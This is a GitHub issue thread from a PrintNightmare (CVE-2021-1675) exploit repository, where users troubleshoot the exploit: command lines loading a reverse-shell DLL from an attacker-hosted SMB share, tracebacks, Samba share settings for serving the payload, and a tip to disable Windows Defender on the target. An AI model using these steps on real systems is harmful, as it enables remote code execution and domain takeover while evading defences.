CVE-2021-1675 icon indicating copy to clipboard operation
CVE-2021-1675 copied to clipboard

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist.

Open braieralves opened this issue 3 years ago • 17 comments

Hello.

I always receive this message: impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist.

Has anyone had the same problem or know how I can solve it please?

Complete stdout:

"root@debianbraier:~/impacket/CVE-2021-1675# ./CVE-2021-1675.py dcbraier.teste/balves:[email protected] '\172.16.224.6\smb\fakeprinter.dll' [] Connecting to ncacn_np:172.16.224.10[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL [] Executing \172.16.224.6\smb\fakeprinter.dll [*] Try 1... Traceback (most recent call last): File "./CVE-2021-1675.py", line 176, in main(dce, pDriverPath, options.share) File "./CVE-2021-1675.py", line 84, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/usr/local/lib/python3.7/dist-packages/impacket-0.9.24.dev1+20210630.100536.73b9466c-py3.7.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/usr/local/lib/python3.7/dist-packages/impacket-0.9.24.dev1+20210630.100536.73b9466c-py3.7.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request raise exception impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist."

User exist in the AD: "balves"

Target: WS 2019

Thanks

braieralves avatar Jul 03 '21 17:07 braieralves

Did you copy the smb.conf in the README exactly? i.e. did you include this line: force user = smbuser

If so, remove that line or change smbuser to a valid username on your attacking machine.

rewks avatar Jul 03 '21 18:07 rewks

Thanks for your help, @rewks .

I tried all combinations of users:

  • force user = smbuser
  • force user = administrator (with and without domain)
  • force user = balves (with and without domain)

Nothing works.

If I remove the line, another error appears: "impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified."

braieralves avatar Jul 03 '21 19:07 braieralves

Same error in any machine test =/

braieralves avatar Jul 03 '21 19:07 braieralves

Try force user = nobody

korang avatar Jul 04 '21 02:07 korang

Hello, @korang .

Thanks. But if i do any changes in "force user =", this new error appears: "impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified."

I don't have any more ideas of what can be =(

braieralves avatar Jul 04 '21 08:07 braieralves

When i disable "Window defender", the script works =)

Thanks

braieralves avatar Jul 04 '21 08:07 braieralves

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist.

@cube0x0

@braieralves you disabled "windows defend" on the server, was that it?

I have this same error!

I tried the options but with no success!

Any idea?

wtechsec avatar Jul 04 '21 13:07 wtechsec

Hello @wtechsec .

Disable Windows Defender: https://jv16powertools.com/how-to-disable-windows-defender-windows-10/

Then, i created an AD user called "smbuser"(as in the /etc/samba/smb.conf).

After this, the exploit worked

braieralves avatar Jul 04 '21 15:07 braieralves

Hey @braieralves ,
I am having the same problem as you. Could you help me?

┌──(root💀kali)-[~/CVE-2021-1675]
└─# python3 CVE-2021-1675.py se130034/Administrator:Admin@[email protected] '\\192.168.40.155>\smb\rev.dll'

[*] Connecting to ncacn_np:192.168.40.195[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_64a5c2d136933c8f\Amd64\UNIDRV.DLL
[*] Executing \\192.168.40.155>\smb\rev.dll
[*] Try 1...
Traceback (most recent call last):
  File "/root/CVE-2021-1675/CVE-2021-1675.py", line 176, in <module>
    main(dce, pDriverPath, options.share)
  File "/root/CVE-2021-1675/CVE-2021-1675.py", line 84, in main
    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
  File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
    return dce.request(request)
  File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
    raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.

mrh3r000 avatar Jul 06 '21 07:07 mrh3r000

Hey @mrh3r000

Review this item: \192.168.40.155>\smb\rev.dll - Correct form: \192.168.40.155\smb\rev.dll

braieralves avatar Jul 06 '21 15:07 braieralves

I did it again from where and got the same error as the picture T_T. Could you help me ? image

mrh3r000 avatar Jul 07 '21 10:07 mrh3r000

@mrh3r000 your "file.dll" was made correctly?

braieralves avatar Jul 07 '21 10:07 braieralves

@braieralves Sure... :(( image

mrh3r000 avatar Jul 07 '21 10:07 mrh3r000

Still having the problem....

┌──(root💀kali)-[/tmp/CVE-2021-1675] └─# python3 CVE-2021-1675.py smbuser:[email protected] '\10.1.1.37\smb\reverse.dll' [] Connecting to ncacn_np:10.1.1.111[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL [] Executing ??\UNC\10.1.1.37\smb\reverse.dll [*] Try 1... Traceback (most recent call last): File "/tmp/CVE-2021-1675/CVE-2021-1675.py", line 188, in main(dce, pDriverPath, options.share) File "/tmp/CVE-2021-1675/CVE-2021-1675.py", line 93, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request raise exception impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist.

surfd4wg avatar Jul 31 '21 19:07 surfd4wg

Hey @braieralves , I am having the same problem as you. Could you help me?

┌──(root💀kali)-[~/CVE-2021-1675]
└─# python3 CVE-2021-1675.py se130034/Administrator:Admin@[email protected] '\\192.168.40.155>\smb\rev.dll'

[*] Connecting to ncacn_np:192.168.40.195[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_64a5c2d136933c8f\Amd64\UNIDRV.DLL
[*] Executing \\192.168.40.155>\smb\rev.dll
[*] Try 1...
Traceback (most recent call last):
  File "/root/CVE-2021-1675/CVE-2021-1675.py", line 176, in <module>
    main(dce, pDriverPath, options.share)
  File "/root/CVE-2021-1675/CVE-2021-1675.py", line 84, in main
    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
  File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
    return dce.request(request)
  File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
    raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.

hi @mrh3r000 did you run smbserver? if not get smbserver.py from github and run as follows smbserver.py smb /tmp ps tmp is path to your file

Rao005 avatar Nov 02 '21 06:11 Rao005

Well, I had the same problem and I solved it, but I don't know if it can help you. When the PoC is executed, the victim machine tries to look for a shared resource through smb, before I tried with smbserver.py from impacket, but it didn't work, instead I activated the smb service with sudo systemctl start smb, which looks for the configuration file /etc/samba/smb.conf sharing my /tmp/share folder. I created the malicious dll in /tmp/share. My /etc/samba/smb.conf file looks like this:

[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

T1erno avatar Jun 03 '22 05:06 T1erno

Hello everyone. I'm sorry for delay in answers. Let me analyze your questions and see if I can help, ok?

I'll see in the next weekend, ok?

Regards.

braieralves avatar Jun 03 '22 09:06 braieralves